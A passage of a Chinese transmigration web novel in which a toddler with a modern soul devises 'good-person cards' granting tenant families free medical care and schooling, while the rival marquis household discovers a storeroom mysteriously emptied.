阿沅却还是一副呆萌模样,小眉头拧成了浅浅的“川”字,仿佛在努力思考着什么了不得的大事,那模样又认真又可爱,看得孟大川心都要化了。 外贼易防,可要是这些贼人来自庄子内部呢? “大雪封山,马车已经进不来了,骑马也不容易进。”孟大川解释道,他的想法是,就算骑马能进,谅他们也不敢再来了,已经折了两辆马车,几个人,再来也是送死。他语气沉稳,试图安抚女儿。 “窝要坏银(人)少少,好银多多。”阿沅发愁地晃了晃小脑袋,奶声奶气却异常清晰地说道。 她心里萌生了与爹爹不同的想法。想到梦里孟大川被火烧的时候,沙哑的声音喊得无比凄厉,那得多疼啊,可是偌大的庄子居然没有几个人来救火,那种孤独绝望的境地让她的小心肝揪着难受。 她想要改变,想让庄子变得暖融融的,主家有事,大家帮忙。 “过完年,爹爹给哥哥找一个夫子,也给阿沅找一个女夫子可好?”孟大川看小不点眉头紧锁,想什么也不跟自己说,就想分散她的注意力,也半是逗弄半是认真地说道。 “夫子?”阿沅一听说要读书,下意识地小眉头果然皱得更深,粉嘟嘟的小脸都垮了下来,但也只是一瞬间,就忽然眼睛一亮,变成了惊喜,马上伸出小短手指着门外惊呼出声:“夫子,也可以教哥哥姐姐吗?” 看见女儿嫩笋尖似的手指指向了门外——那些佃户家的孩子,孟大川有点意外:“阿沅想要庄子里的哥哥姐姐也要读上书?” “嗯嗯!”阿沅用力点着小脑袋,头上的小揪揪也跟着一颤一颤,“娘亲说,读书明理。”小家伙还煞有介事地做了个针戳手指的动作,表示绣花辛苦,又道:“绣帕子,卖钱钱。” 最后,她把小脑袋摇得像个拨浪鼓,表情严肃地补充:“不死(使)坏!不做坏事!” “阿沅这个主意好。”孟大川心中一动,若是可以,他真想看看小家伙脑袋里到底装的都是什么奇思妙想?看她刚才呆萌凝神的样子,可不像是在听神仙姑姑教诲,而是确确实实自己上了心,在琢磨事情。 这想法,倒比他们大人想得还要长远通透些。 “那…也不是不行,”孟大川沉吟道,“爹爹跟娘亲商量了再说。”儿子的状况现在日渐好转,除了读书,每天都会过来跟他聊一阵,甚至懂得设计去应付即将到来的横祸。 而他自己,即使腿脚能够恢复,应该也不是短时间的事,在此之前,绝不能再踏进那个狼窝。既然要长居于此,那就应该有更长远的谋算。 儿子以后要继续参加科考的,自然要请个好的夫子。但是庄子里的孩子,读书认字不做睁眼瞎,都不用秀才,有个童生就行,附近的镇子就能找到。 再看看眼前笑的眼睛弯成了小月牙,脸上还挂着两个深深小奶瓢的呆萌女儿,他心里一片柔软:还小呢,有他和妻子悉心教导就行,理应活得无忧无虑,不用急着去接触那琴棋书画的苦。 “还有哦!”小家伙可不满足,又盘算开了,眼睛贼贼溜溜,圆圆滚滚,黑白分明地看着他,像只正在囤粮的小仓鼠,机灵又可爱。 “让老北爷爷……给银(人)……看病!”短短的小胖手指又坚定地指向了院门外,意指让老北爷爷能给庄子里的其他人看病。 “想什么呢?阿沅不能总那么滥好心,”柳氏什么时候悄声进来的,父女二人后知后觉,阿沅小屁股上马上挨了她不轻不重的一巴掌。 “庄子里老少妇孺上百人,哪天没有头疼脑热的?给他们看病,老北爷爷还要不要管爹爹了?”柳氏语气带着嗔怪。 “娘亲,嘿嘿!不疼!”阿沅转头就熟门熟路地趴到了娘亲身上,小脸在她怀里蹭啊蹭啊蹭,像只撒娇的小猫,蹭得柳氏的心软成一片,但仍然佯装板起脸:“阿沅还要不要爹爹和哥哥好了?” 老北叔天天雷打不动地来给孟大川扎针。但是对孟怀瑾和柳氏,只是每天搭个平安脉,说是一天天都在好转。也不给他们另外开药方,说是体内残余的毒素排完,再用药膳调养就行。 阿沅却还是坚持她那句稚气却固执的话:“要好银(人)多多,坏银(人)少少。” 作为来自后世的现代灵魂,她知道古代医疗条件匮乏,随随便便一个感冒风寒就可能拖成重症,甚至死亡。 如果庄子里有个头疼脑热,老北爷爷能及时施以援手,那就是雪中送炭。虽然不一定能让人个个感恩戴德,但人心都是肉长的,在危难之时伸过手,总能让这庄子的人心更凝聚些,没那么容易被人轻易收买去做坏事。 孟大川拉了拉柳氏的手,示意她先坐下,温声道:“听听孩子怎么说。”柳氏顺着他的力道坐在床沿,两人一同耐心地看向女儿,等待她的小脑袋瓜里又能冒出什么“高见”。 “窝给他们发好银(人)卡!”阿沅头摇得像拨浪鼓,小手比划着,“好银(人)看,坏银(人)不给看!” 她想到了现代医院的就诊卡模式,先“挂号”,有了“好人卡”才能看病。至于谁是好人,谁是坏人? 嘿嘿!阿沅心里有小算盘,可以观察嘛,听话的,为主家着想的、心地善良的,就是好人! 孟大川听了,眼中闪过思索,语气上有了松动:“只要一天里来的人不多,再规定个固定的看诊时辰,比如每日午后一个时辰,也不是不行。不过,爹爹得先跟老北爷爷通个气,看看他老人家的意思。” 柳氏却还是有些焦急和不赞同:“不行,夫君怎么也跟着小孩子胡闹?请个童生或是秀才来教孩子们识字,也就是束脩银子的事,看了诊可是要真金白银花出去买药材的!” 柳氏持家惯了,想到白花花的银子要这么流水似的花出去,就感觉到无比心疼,如今他们虽有积蓄,但也经不起这么折腾,以后花银子的地方还多着呢。 “侯府那不是又‘送’了一份嫁妆?”孟大川笑着提醒,带着几分讥诮,“指不定现在侯府这个年过得无比糟心,偷鸡不成蚀把米。” 他说着,忍不住伸手捋了捋柳氏颊边垂下的柔顺秀发,又亲昵地捏了捏她柔软的耳垂,把她揽住往自己的身边靠。 柳氏脸上立刻飞起两片红霞,如染胭脂,嗔怪地白了他一眼,又紧张地看了一眼身旁的小女儿,生怕带坏了孩子。 阿沅猝不及防被爹娘塞了满嘴“狗粮”,却觉得心里甜丝丝的,比吃了蜜糖还开心,立刻在旁边添油加醋,挥舞着小拳头表决心:“窝种地!种好多好多粮食,帮娘亲攒嫁妆!” “错了错了,”孟大川被女儿逗得哈哈大笑,纠正道,“是爹爹和娘亲帮我们阿沅攒嫁妆。” “哈哈哈!”温馨快活的笑声顿时充满了整个屋子。三个人笑作一团,孟大川张开手臂将妻女一同搂住。 即使被爹爹和娘亲温暖的身子压在下面,成了小小的“夹心”,阿沅还是高兴地手舞足蹈,四只小短胳膊小短腿像划小船似的扑腾着,心里美滋滋地觉得:说服爹娘,大功告成! 第34章 好人卡 由孟大川授意,孟怀瑾精心制作的“好人卡”终于送到了阿沅手上。 卡片只有阿沅的小巴掌那么大,用硬实的纸片裁成。卡片正中央,果真就是三个端端正正的大字——“好人卡”,旁边还用朱砂印泥盖了拇指头大小的一方精巧小印,是孟怀瑾自己刻的“安平”二字,算是防伪标志。 卡片四周,还被他用青绿和赭石颜料描了一圈雅致简洁的缠枝花纹,显得既郑重又别致。 “哈哈哈!”拿到这一沓还散发着淡淡墨香和颜料味道的“好人卡”,阿沅兴奋得在床上滚来滚去,像只快乐的小肉球。 她把卡片举到眼前,看了又看,爱不释手,笑得眼睛眯成了两条弯弯的小缝,露出几颗白白的小米牙,嘴里还发出“咯咯咯”的欢快声音。把一旁侍立的红袖和莲子弄得莫名其妙,面面相觑,不知道自家小姐对这叠小纸片高兴个什么劲。 “绿果、红豆,你们也来。”阿沅刚被娘亲喂了一小碗甜甜的牛乳羹和几块软糯的点心,小肚子吃得圆鼓鼓,正有劲儿没处使呢。 她一骨碌爬起来,盘着小短腿坐在床上,挺起小胸脯,颇有点“小当家”的架势。 绿果、红豆、红袖、莲子四个赶紧在她面前一字排开,齐刷刷站好,睁着亮晶晶的眼睛,听候小主人的吩咐。 阿沅拿起一张“好人卡”,用小胖手指先指向绿果和红豆,奶声奶气却十分认真地分派任务:“泥们,负责去听……唔,去……听墙角。”说完这个词,自己又咯咯笑。 “又去侯府?”绿果和红豆眼睛立刻亮了,两人不约而同地往前凑了半步,脸上露出跃跃欲试的神情。 在她们看来,能帮小姐去“搞事情”,尤其是针对那讨厌的侯府,就是最光荣、最刺激的任务,恨不得立刻摩拳擦掌,再立新功。 “不系(是)啦!”阿沅摇摇小脑袋,头上的小揪揪跟着晃了晃,小胖手又指向了窗外,更广阔的庄子方向,“庄子里,佃户家。” 绿果和红豆:?? 两人脸上同时浮现出大大的问号,都有些懵了。红豆性子更直些,忍不住发问:“小姐,具体要听些什么呀?是听他们说不说主家坏话吗?” “听……听……”阿沅张了张小嘴,却一时组织不好更复杂的语言,急得小脸都微微泛红了,憋了半天才补充道,“听谁好,谁坏呀!” “哎呀,你们怎么那么笨呀!”旁边的红袖看得着急,忍不住跺了跺脚,叉起小腰,对着绿果和红豆“怒目而视”,“小姐这不是要发‘好人卡’嘛!好人才能拿到卡,懂不懂?你们懂不懂?就是让你们去听听看看,谁家心眼好,勤快本分,不偷懒不说闲话,谁家爱占小便宜、背后嘀嘀咕咕……这叫‘好人卡’,懂不懂呀?” 她一口气说完,小胸脯还挺了挺,觉得自己解释得非常到位。 “对!好人发卡,坏人……坏人……”莲子也挥舞着小拳头帮腔,努力想找出有气势的词,“坏人就不给!再坏,就打他!”说着她还撸了撸自己那圈的扎实袖子,摆出个自以为凶狠的小模样,逗得阿沅又“咯咯”笑了起来,但仍然点头表示认同。 莲子眼珠子转了转,想起什么,主动请缨:“小姐,这事我奶奶和我阿娘也能帮着干!每天黄昏,她们都喜欢聚在大榕树底下做活计、唠嗑,那里人多,消息也灵通。还有我,我也能干!” 她拍拍自己还单薄的小胸脯,“我可以去晒场跟那些小屁孩们玩,大人有时候说话不防备,小屁孩也能听到点啥。”她自己明明也是个“三寸丁”的小娃娃,说起“小屁孩”来却一副小大人般理直气壮的样子。 “行!”阿沅被她们说得心花怒放,觉得自己的“好人卡计划”有了得力的小帮手。她大大方方从那沓卡片最上面抽出三张,给绿果、红豆和莲子一人面前“啪”地拍了一张,动作豪气得很。 想了想,觉得还得有点激励,又小心翼翼地抽出一张,放在她们面前晃了晃,乌溜溜的大眼睛里闪着狡黠的光:“做好事,特别特别好的事,还可以‘抢’这张哦!先到先得!” “小姐,那要怎么样的好事才算‘特别特别好’呀?”三人还是有点懵懂,莲子更是把卡片翻来覆去地看,仿佛想从那些花纹和字里盯出朵花或者银子来似的,小脸上满是困惑。 “笨!”红袖又忍不住了,伸出小手指,虚虚地点了点她们的额头,“帮主家好好办事,不偷奸耍滑,主动多干活,或者……或者像上次张婶子那样,捡到瑾少爷掉的书本赶紧送回来,这就是好事呀!要是谁家能在紧要关头帮了咱们大院的大忙,那不就是‘特别特别好’的事吗?”她分析得头头是道,小脸上满是得意。 阿沅在旁边笑得见眉不见眼,小脑袋点得像小鸡啄米:谁说红袖笨、不机灵来着?这不点都通嘛,说得又利索又明白,完全表达出了自己的意思,真是个贴心又聪明! 柳氏是等她们在屋里叽叽喳喳闹腾得差不多了,才笑着掀帘子进来的。她接过女儿手里的“好人卡”,又详细地向几个小丫鬟交代了一遍:“你们得了小姐的令,去帮着留心观察是好的。不过更要紧的是,要告诉那些得了‘好人卡’的人家,每张卡,可以凭它到大院来,让老北郎中给看一次诊。 像现在猫冬时节,可以在每日午后来;等开春农忙了,就改在下工后的黄昏时分,每次最多看一个时辰。诊费和药费,只要不是特别名贵的药材,主家就全免了。其余时间是不看诊的。这规矩,可得说清楚了。” “明白了,夫人!”绿果和红豆这下总算彻底舒了口气,眼睛亮晶晶的,彻底明白了这“好人卡”的意义和分量——这不仅仅是一张能看病的凭证,更是一种认可和奖赏!两人互相看了看,都觉得自己肩上的“任务”重要极了,莲子小胸脯挺得更高了。 “那我们院里的人呢?发不发?”绿果想了想又问,然后忐忑地看向了自家主子。 “把主子伺候好了,主子还能亏待你不成。”这回红袖直接上脚踢,一副恨铁不成钢的样子。 虽然不疼,红豆觉得委屈,躲了躲:“又不是我问的!” “哈哈哈!”这一回,一屋子的人都笑了。 阿沅:“泥们都是好银!” 第35章 嘉禾庄炸开了锅 第二天,嘉禾庄就炸开了锅。 庄子里的早间宁静就被接二连三的惊叫与议论撕得粉碎。寒气裹着人声,在雪地上空窜来窜去。 东头老赵家的婆娘嗓门最大,拍着大腿在院门口嚷嚷:“诶呀!邪门了,我家窗口明明才糊了新纸,刷了厚浆糊,昨晚‘噼里啪啦’全碎了,跟被刀子划了似的!那风呜呜地直往里灌,冻得炕上的娃直哆嗦。要不是屋里烧了盆旺炭要透气,全家怕不是得冻死!” 旁边端着破碗喝粥的邻居探过头:“可不是?我家那口用了二十多年、比石头还结实的大水缸,昨儿半夜‘哐啷’一声,自己就裂了道大口子,水淌了一地,早上起来都结成冰溜子了。也幸亏这老天爷下了满世界的雪,化开还能用,不然今早煮饭都没口水使。” 另一个妇人拢着袖子,脸色发白,声音都带着颤:“我家更邪乎……你说这大冬天,雪封了山,哪来的活物?可偏偏……偏偏就进了两条蛇!黑底花斑的,从门缝底下钻进来的,就盘在灶膛灰里,吐着那红信子‘嘶嘶’响,把我那才五岁的孙儿都吓傻了,到现在还说不出囫囵话。” …… 几个上了年纪、平日里就爱凑堆说道的老婆子聚在榕树下的屋角边,交头接耳,话里话外透着笃定与隐隐的幸灾乐祸。 “一辈子没听说过这种蹊跷事,你别不是平日里做了什么亏心事,如今被鬼找上门了吧?” “就是就是,你细瞅瞅出事的这几家,不是那爱搬弄是非的搅屎棍,就是背后嚼舌根的长舌妇,再不然就是家里男丁手脚不干净、偷鸡摸狗的。定是恶事做多了,积了阴损,如今老天爷都看不过去,给他们点警告呢。” “哼,再不改过自新,怕是要跟没了的老庄头,还有被雪压了全家的小管事一样,不得善终咯!” …… 一开始因家中怪事而惊慌失措、咋咋呼呼的几户人家,被这左邻右舍夹枪带棒的风言风语一冲,反应各异。 有的自知理亏,臊红了脸,缩着脖子“哐当”关紧了院门,躲在屋里不敢吱声。但也有那素来泼辣、不肯吃亏的,梗着脖子跳脚对骂,陈婆子便是其中翘楚。 她猛地拉开院门,叉着腰,一口唾沫险些啐到议论的人群里,嗓音尖利得像破锣:“你们这些黑了心肝的烂嘴贱人!都不得好死!全是落井下石的坏坯,恨不得别人家都死绝了才称你们的心!我招你惹你了?用得着你们来指手画脚?也不掂量掂量自己几斤几两,看我是不是那任你们拿捏的软柿子! 二婆子,说的就是你!我诅咒今晚招灾招祸的就是你家,小心你家那如花似玉的两个闺女,半夜就被阎王爷派的小鬼糟蹋了去!” 被点名的二叔婆岂是忍气吞声的主?当下也炸了,撸起袖子就冲过来:“陈婆子!你个老虔婆敢咒我闺女?我跟你拼了!”话音未落,枯瘦但有力的手就朝陈婆子脸上挠去。 “你自家没一个好东西!专干那偷鸡摸狗的腌臜事!得了主家好处不知道感恩,前儿你们算计了看庄子的大黄狗,炖了吃肉,别以为别人不知道。你这种人渣,活该孙子不是聋就是瞎!” “呸!你家也好不到哪去!生了两个赔钱货丫头片子,活该断子绝孙,没人捧香炉!” “我不做亏心事,半夜不怕鬼敲门!你就等着老天爷报应吧!” …… 阿沅带着红袖她们四个出门溜达的时候,庄子里的妇人拌嘴吵架的可不少,声音此起彼伏。 动手打架的就有三四户,甚至有两户是全家老小齐上阵的,揪头发、扯衣服,雪地上滚作一团,脸上手上都挂了彩,乌眼青、血道子,看着好不热闹。 “二叔婆,你来。”绿果眼尖,瞧见了打得最凶、也最引人注目的那一堆,得了阿沅一个眼神,便挺起小胸脯,站到了扭打在一起的陈婆子和二叔婆中间,声音清亮。 陈婆子正被二叔婆扯着头发,闻言像得了救星,猛地挣脱开来,顶着鸡窝似的乱发,脸上还有几道血痕,却瞬间挤出一副谄媚到极点的笑容,水瓜似的胸脯挺得更高了。 她几步就凑到了被绿果、红豆、莲子护着的阿沅面前,还不忘回头高声叫嚷,试图先声夺人:“看到了吧!报应来了!小姐英明,定是来找她麻烦的!小姐,小姐您可得给老婆子做主啊!就是这婆子,蔫坏!有她在,咱们庄子就不得安宁!今儿这事,就是她先挑的头,骂得可难听了!还打人……” “拉什么呢?我自己会走!”二叔婆气得浑身发抖,一把拍开陈婆子试图拉扯她袖子的手,整了整凌乱的衣襟,尽管脸上也有伤,却努力站直了身子,看向被簇拥着的小姐。 小丫头穿着大红羽缎斗篷,甚至圆圆滚滚的,雪帽下一张玉雪可爱的小脸,黑白分明的大眼睛正瞅着她们,看不出喜怒。 二叔婆心一横,朗声道:“老婆子我一辈子光明磊落,不做亏心事。今儿这架,我是打了,我认!任凭小姐发落!”说着,膝盖一弯就要往下跪。 陈婆子见状乐得直拍手,脸上的谄媚变成了毫不掩饰的得意,像个疯癫的婆子般叫唤:“小姐,罚她!重重的罚!最好把她一家都赶出庄子去,地都不给她种,看她还横!” 听到这话,原本站在二叔婆旁边、吓得瑟瑟发抖的两个姑娘,脸色唰地白了,膝盖一软,齐齐“扑通”一声跪在了冰冷的雪地里,带着哭腔哀求:“小姐,不是的……奶奶没挑事,是陈婆子先骂人的……别赶我们走……要罚就罚我们俩吧……” “窝都没说话,跪什么跪?”孟沅有点不高兴了,小眉头蹙了起来。她只是睡醒了无聊,听说庄子“炸了锅”,想出来看看今天谁家表现好能得“好人卡”,顺便瞧瞧热闹,怎么就一下子被推到“判案”的位置上了? 这些古代人真是的,动不动就下跪,膝盖那么软吗?阿沅心里的小人儿叉着腰,她觉得只跪天、跪地、跪爹娘才是正理! “没听到小姐说话吗?叫你们都起来。”红豆反应快,立刻瞪了还想继续煽风点火的陈婆子一眼,那眼神带着不符合年龄的严厉。接着,她提高声音,朝着人群唤道:“黑丫,黑丫家在吗?出来一下。” 第36章 就要这种效果 “黑丫家?哼,他们一家也不是什么好东西……”陈婆子嘴巴翕动,憋不住又小声嘀咕了一句,眼神飘忽,满是怨毒。 看见跪着的二叔婆和两个小丫头已经被绿果和红豆一左一右扶了起来,红袖气急——这陈婆子实在太没眼色!她上前一步,抬起穿着棉鞋的脚,作势要踢陈婆子的小腿:“就你是好人?再多嘴试试!” 陈婆子吓得连忙缩脚躲过,终于彻底噤声,缩着肩膀退到一边,眼珠子却还在乱转,十足十的欺软怕硬模样。 阿沅小嘴巴微动,伸出戴着兔毛手捂、嫩藕似的小手指,明确地指向陈婆子,仰起小脸对红袖说,每个字都努力说清晰:“红袖,记起来。她……坏……不发好人卡,也不能读书。” 哼,这种挑事精、坏心眼,才不能给她家福利。 红袖领命,往前站了半步。她年纪虽小,但跟着夫人身边也学了点架势,此刻小脸绷着,努力让自己的声音传得更远、更清晰:“陈婆子,你听好了:你家,往后一辈子都领不到‘好人卡’,子孙后代,只要在嘉禾庄,都不得进学堂读书!” 这话正对阿沅的下怀,她听得咧开小嘴,露出米粒似的小白牙,笑得眼睛弯成了月牙儿,还跟着重重点了下小脑袋。 这大雪的天,本就无处可去,庄子里老老小小的佃户几乎都出来凑这份“热闹”了。他们起初听不太懂三岁小姐那奶声奶气的话,对红袖宣布的“判决”也有些懵懂。 但“读书”两个字,却像重锤一样,清晰地撞进了每个人的耳朵里,激起了不小的涟漪。特别是那些半大孩子,眼睛都亮了,又带着疑惑和渴望,不由自主地聚拢到了阿沅她们周围。 “我就是黑丫!庄子里就属我得罪陈婆子家最多!其他家……也有得罪的。”一个看着约莫十二三岁的丫头从人群里挤了出来,毫不畏惧地站到了二叔婆身边,但是话说到后面似乎有点心虚。 那模样……怎么说呢?倒不是丑,眉眼甚至称得上端正。可在这满世界皑皑白雪的映衬下,她那身旧棉衣掩不住的、异常黝黑的皮肤,就显得格外突兀扎眼,活像不小心撒在洁白宣纸上的一滴浓墨,怎么也忽略不掉。 她站得笔直,先看了一眼红袖,最后目光径直落在了被簇拥着的小姐——阿沅的脸上,大义凛然,眼神清亮,并无惧色,甚至带着点倔强。 阿沅看着她,“嘿嘿”笑出了声。除了这身黑皮囊不像,那小模样,那眼神里的直愣和坦荡,倒让她想起了现代的一个同学——也是这般性格爽利,眼里容不下沙子,就是说话太直,老是得罪人,人送外号“小钢炮”。 阿沅觉得有点亲切。 绿果上前,将第一张“好人卡”,递给二叔婆:“你的好人卡,收好了。” 红豆也拿出一张,递给那个黑丫头:“黑丫,这是你的。” 所有人都愣住了,拿到卡的二叔婆和黑丫也懵了,捏着那陌生的纸片,翻来覆去地看,终于听清了“好人卡”三个字。 红袖挺直小腰板,把昨天从夫人那里听来的、关于“好人卡”的用处和规矩,一字不漏、条理清晰地大声复述了一遍。她声音清脆,口齿伶俐,竟说得明明白白,连大人都不一定能记得这么全。 肯定是昨晚没睡觉都背熟了,阿沅想。 “啥?还有这等好事?”佃户中间顿时像炸开了锅,比刚才议论怪事时更加沸腾,仿佛皑皑白雪都被这突如其来的好消息煮沸了。 “平常娃们有个头疼脑热,得抬着背着走出十几里地去镇上瞧大夫,一次诊金起码就得五十文!还得看郎中脸色……” “听清楚没?红袖姑娘说了,拿了这卡,让侯府的郎中看病,连药钱都给免!” “早就听说大夫人心善,菩萨心肠,果然是真的啊!” 二叔婆和黑丫这时候才彻底醒悟过来,手里那张轻飘飘的纸片瞬间重如千钧。两人激动得嘴唇哆嗦,又想跪下磕头,连声道:“谢谢大夫人!谢谢大爷!谢谢小姐天大的恩德!”被绿果和红豆一左一右赶紧架住,才没又跪下去。 “以后……以后咱们好好帮主家做事,不偷懒,不耍滑,是不是就能得这‘好人卡’了?”有人试探着问,眼里充满希冀。 “对呀!我看还得像黑丫和二叔婆这样,敢跟陈婆子那家子的恶行对着干,主家才喜欢!下回我也要拿好人卡!” “对对,我也要拿!我明天就去把村口那堆乱石头清了,那是公家的路!” 所有人的目光,又热切地投向了莲子手里还剩下的最后一张“好人卡”,七嘴八舌,心里都有了新的算计和期盼。 红袖见效果不错,趁热打铁,又把夫人说的,过完年后主家要请先生教男娃识字、请绣娘教女娃针线活计的事情宣布了一遍。这回掀起的波澜却没那么一致了。 “小子们读书认字倒是好的,将来也许能有个出路,不用一辈子刨土。” “就是啊……可闺女家……还是算了吧?学那些有啥用?” “就是,都跑出去学什么针线,家里的活谁干?总不能我们大人辛苦一天从地里回来,家里还乱糟糟的,连口热水都没得喝吧?” “女娃娃,早点学会持家做饭才是正经……” …… 阿沅没想到会是这样的反应,小嘴不由得撅了起来。她知道古代人的想法有局限,重男轻女是常态,可亲耳听到,还是有点小小的气闷。 她掰着自己戴着兔毛手捂、嫩生生的手指头,努力组织着语言,想为这里的女孩子们争点福利:“学好了……可以去绣坊……也能进主院,挣钱钱!自己挣!”她试图用最直白、最实际的利益去说服他们。 “听到没?”红袖立刻接过阿沅的话头,声音拔高了些,带着一种与有荣焉的机灵劲儿,“小姐说了,学得好的,将来能到主院做体面的大丫鬟,有月例银子拿,还有漂亮衣裳穿!”说完还把自己身穿新袄子的身子往前挺了挺。 “要是针线活出挑,送去城里的绣坊做绣娘,手艺好的还能当上管事娘子呢!”阿沅有点恍惚,若不是再三确认过,她几乎要以为红袖也是穿越来的了。 怎么越来越聪明,这么会“翻译”和“发挥”她的意思了呢? “还能这样?” “那……那不是比留在家里,跟着咱们刨土、围着锅台转强多了?” “要是真能学出来,往家里拿工钱,那也是贴补家用啊!” “说得是……兴许,还能因此说上一门好亲事呢……” …… “嘿嘿!”阿沅听着周围议论声的风向渐渐转变,这才重新开心起来,小脸上漾开笑容。 她要的就是这种效果。再说了,她心里还藏着小九九呢——以后她要想种出高产的好稻谷,也是需要人才的。 那些新奇的高产稻种,还有更先进的种植法子,比起那些固守成规、可能不愿意改变的老庄稼把式,说不定这些能读书识字、愿意学新东西的年轻孩子,不管是小子还是丫头,都更好接受! 阿沅仿佛已经看到了绿油油的稻田和金灿灿的谷穗,在她的小脑袋瓜里摇曳生姿。 第37章 二房也失窃了 安平侯府完全没有一丝马上要过年的喜庆气氛,廊檐下不见红灯笼,窗棂上未贴新窗花,整座府邸阴沉沉地笼罩在一股大厦将倾的黑暗氛围里,仿佛连冬日惨淡的天光都透不进这重重院落。 眼看衙门两天后就要封笔,老宋氏这几日如同在热锅上煎熬。 京兆尹那边的威压像悬在头顶的刀子,逼得她喘不过气;儿子孟二泉也日日来催,言语间已失了往日的恭敬,只剩下不容置疑的逼迫。 她不得不硬着头皮筹备归还柳氏那笔庞大嫁妆的事,光是核对账目、清点器物就已让她焦头烂额,心里头仿佛有把钝刀在慢慢割。 更雪上加霜的是,平日帮她掌家、出主意的小宋氏,虽说侥幸捡回一条命,却生生被截去了双腿,如今瘫在床上,性情大变,再也帮不上忙。 老宋氏只觉得自己的左膀右臂被生生斩断,满心糟污无处排遣,看什么都觉得堵得慌。 “祖母,您倒是管管呀!我娘都成了那副模样,父亲竟一眼都不来看,日日夜夜只宿在红姨娘那狐狸精的院里,您怎能由着他这般胡来?”孟怀堂已经好久没去学堂,借着母亲伤重的由头赖在家里。 他本就不是块读书的料,对躺在床上的母亲也无多少真切孝心,只是见父亲如此凉薄,心里不免生出兔死狐悲的寒意,更兼着对红姨娘的嫉恨,便跑到祖母跟前煽风点火。 老宋氏抬了抬沉重的眼皮,眼底两团浓重的青黑衬得她面色更显灰败。她看着这个平日里疼在骨子里的孙子,心头涌起一阵疲惫的厌烦。 “你爹他心里也烦着,外头的事够他操心了。过段时日,等他缓过来就好了。后院妇道人家的事,你一个哥儿少掺和,只管读好你的书便是。听话,祖母不会亏待你,这侯府将来总归都是你的。”她挥挥手,声音干涩,只想尽快将他打发走。 小宋氏残了,再想用她拴住儿子那好色喜新的心已是不能。孟二泉没流连烟花之地,只守着一个红姨娘,在老宋氏看来,竟已算是“本分”了。 孟怀堂得了准话,只坐了一会儿,还真走了。 “祖母,您就让孙女搬来您院里伺候吧!我娘她……她如今不分白天黑夜地哭喊咒骂,声音凄厉得像鬼嚎。我在隔壁院里听着,夜夜心惊,不得安宁。您瞧瞧,孙女这才几日,都瘦了一圈了。”孟绫捏着帕子,眼圈微红,一副楚楚可怜的模样。 小宋氏刚被抬回那日,她是第一个扑到床前哭得撕心裂肺的,做足了孝女姿态。可当郎中连连摇头,太医也确诊那双腿再也接不回后,她心底那点母女情分便被恐惧和算计压了过去。 这些日子她反复思量:父亲必定会另娶新妇,到时候,有了后娘就有后爹,她还能有什么好日子?唯有紧紧抱住祖母这条最粗的大腿,将来自己的婚事或许才能有所倚仗。 “你娘正是需要人安慰的时候,你当女儿的躲到祖母院里来,像什么话?传出去你的名声还要不要了?乖乖在你院里呆着,此事容后再议。”老宋氏扶着突突直跳的额角,只觉得一阵阵头痛欲裂。 一个两个,都不让她省心。她朝着孟绫也摆了摆手,示意她也赶紧离开。 就在这时,门外传来一阵慌乱的脚步声,张嬷嬷气喘吁吁地跑了进来,后面紧跟着她的一等丫鬟琥珀。两人皆是一脸惊惶,进门也顾不得礼数周全,直挺挺就跪在了冰冷的地砖上。 “老夫人!不好了!出大事了!”张嬷嬷的声音带着颤,琥珀更是伏在地上,不敢抬头。 “我还没死呢!这般咋咋呼呼,成何体统!”老宋氏心头猛地一沉,一股不祥的预感攥紧了她的心脏。她下意识想抓个茶盏摔出去泄愤,手边却早已空空如也。 这段时间茶盏摔的太多,一时还没有补回来。 本已转身欲走的孟绫,听到她们话音不对,立刻收回了脚步,闪身躲到一旁,竖起了耳朵。 “老夫人,大事不妙!芝……芝兰苑的库房,怕是也遭了贼!”张嬷嬷喘匀了一口气,急声道,“老奴遵命,让奴婢们开库清点,谁知……谁知里头存放的银票、铺面地契,全都不见了!说是还有一箱整齐的金锭银锭,也没了踪影!” “什么?!”老宋氏如遭雷击,猛地从椅子上站起来,却又因气血上涌,眼前一黑,重重地跌坐回去,撞得椅背一声闷响。幸亏旁边的大丫鬟珍珠眼疾手快扶住了她,才没让她滑到地上去。 她捂着胸口,连顺了好几口气,才从牙缝里挤出问话:“何时发现的事?库房可有被撬的痕迹?门窗是否完好?” “回老夫人,怪就怪在这里!”琥珀抬起头,脸上毫无血色,“那库房的门锁完好无损,窗户紧闭,没有丝毫溜门撬锁的痕迹!地上连个外人的脚印都找不到,那些东西……那些东西就像凭空消失了一样!奴婢们里里外外查了数遍,绝无错漏。” 张嬷嬷也连连点头补充:“芝兰苑的两个一等丫鬟当时都在场,眼睁睁看着打开的箱笼和匣子,里面空空如也。一个装银票契纸的紫檀木匣,还有一箱足色的金银,就这么没了。” “……这定是出了内贼!去,把二爷给我叫过来!立刻!”老宋氏越想越觉得蹊跷,一股寒意从脚底窜起。含章苑如此,芝兰苑亦如此,这绝非寻常盗贼所为。 “对!定然是父亲!”孟绫闻言,像是抓住了什么把柄,几步冲回祖母身边,也顾不上礼数,挨着椅子边就坐了下来,脸上满是愤恨。 “他定是在外头养了不知廉耻的外室,缺了银钱花用,才把手伸到自己家里来!……哎呀!” 她像是突然想到什么更可怕的事,惊叫一声,掩口道:“祖母,您说……母亲出事,会不会也是父亲他为了给外室腾位置,所以才……” “你给我住口!”孟绫的话犹如一把淬毒的匕首,狠狠扎进老宋氏心窝。她勃然大怒,想也未想,抡起胳膊,用尽全身力气,狠狠一巴掌掴在孟绫脸上! 第38章 画大饼给孟绫 “啪”一声脆响,在寂静的厅堂里格外惊心。孟绫被打得头猛地偏向一边,半边脸颊瞬间红肿起来,一个清晰的五指印浮现,嘴角甚至渗出了一缕血丝。 她整个人都被打懵了,耳朵里嗡嗡作响,好半晌才回过神,不可置信地捂住火辣辣的脸颊,泪水夺眶而出:“祖母……您打我?您竟然打我!父亲不要我们,如今连祖母也不要孙女了吗?” 她哭得伤心欲绝,一半是疼,更多的是计划落空和被最依赖之人背弃的恐惧与委屈。 “你再敢出去胡言乱语半个字,就不止这一巴掌了!”老宋氏胸口剧烈起伏,目光却锐利如刀,狠狠刮过地上跪着的张嬷嬷和琥珀。 “你们两个,立刻去把在场所有人的嘴给我封死了!今日芝兰苑的事,若有一星半点传出院外,坏了侯府和二爷的名声,我定活揭了你们的皮!” “是,是,老奴(奴婢)明白!”张嬷嬷和琥珀吓得浑身一抖,连连磕头。 “家门不幸……真是家门不幸啊!”老宋氏颓然瘫在椅中,双手无意识地拍打起自己的膝盖,发出“啪啪”的闷响,那姿态全然失了侯府老夫人的端庄,倒像是个走投无路的乡下老妪。珍珠见状,连忙上前,轻轻为她揉着胸口顺气。 